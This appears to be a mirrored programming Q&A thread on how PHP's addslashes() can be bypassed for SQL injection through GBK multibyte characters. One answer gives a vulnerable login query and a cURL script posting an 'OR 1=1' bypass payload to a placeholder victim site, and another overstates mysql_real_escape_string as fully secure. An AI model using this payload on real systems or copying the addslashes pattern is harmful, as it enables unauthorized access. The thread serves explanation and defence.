Examples of SQL Injections through addslashes()?

问题:

In PHP, I know that mysql_real_escape is much safer than using addslashes. However, I could not find an example of a situation where addslashes would let an SQL Injection happen.

Can anyone give some examples?

回答1:

Well, here\'s the article you want.

Basically, the way the attack works is by getting addslashes() to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.

The general caveat from the article:

This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in 0x5c, because addslashes() can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.

回答2:

Chris Shiflett clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect(\'localhost\', \'myuser\', \'mypass\', \'mydb\');

       /* SQL Injection Example */

       $_POST[\'username\'] = chr(0xbf) . chr(0x27) . \' OR username = username /*\';
       $_POST[\'password\'] = \'guess\';

       $mysql[\'username\'] = addslashes($_POST[\'username\']);
       $mysql[\'password\'] = addslashes($_POST[\'password\']);

       $sql = \"SELECT * FROM   users
               WHERE username = \'{$mysql[\'username\']}\'
               AND password = \'{$mysql[\'password\']}\'\";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:

<?php

       $url     = \"http://www.victimsite.com/login.php\";
       $ref     = \"http://www.victimsite.com/index.php\";
       $session = \"PHPSESSID=abcdef01234567890abcdef01\";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     \"username=\" . chr(0xbf) . chr(0x27) .
                                                 \"OR 1=1/*&submit=1\" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

回答3:

As an addition for the readers of the answers here: This MySQL bug has already been fixed:)

Also, it is always good practice to use prepared statements. It is the most exploit-free way you can fire queries (and, in several use cases the most performant). And it would have saved you from this flaw.

回答4:

mysql_real_escape_string() versus Prepared Statements clearly explains mysql_real_escape_string() isn\'t 100% secure.

using mysql_set_charset(\'GBK\') to replace mysql_query(\"SET CHARACTER SET \'GBK\'\"), the mysql_real_escape_string() can be 100% secure.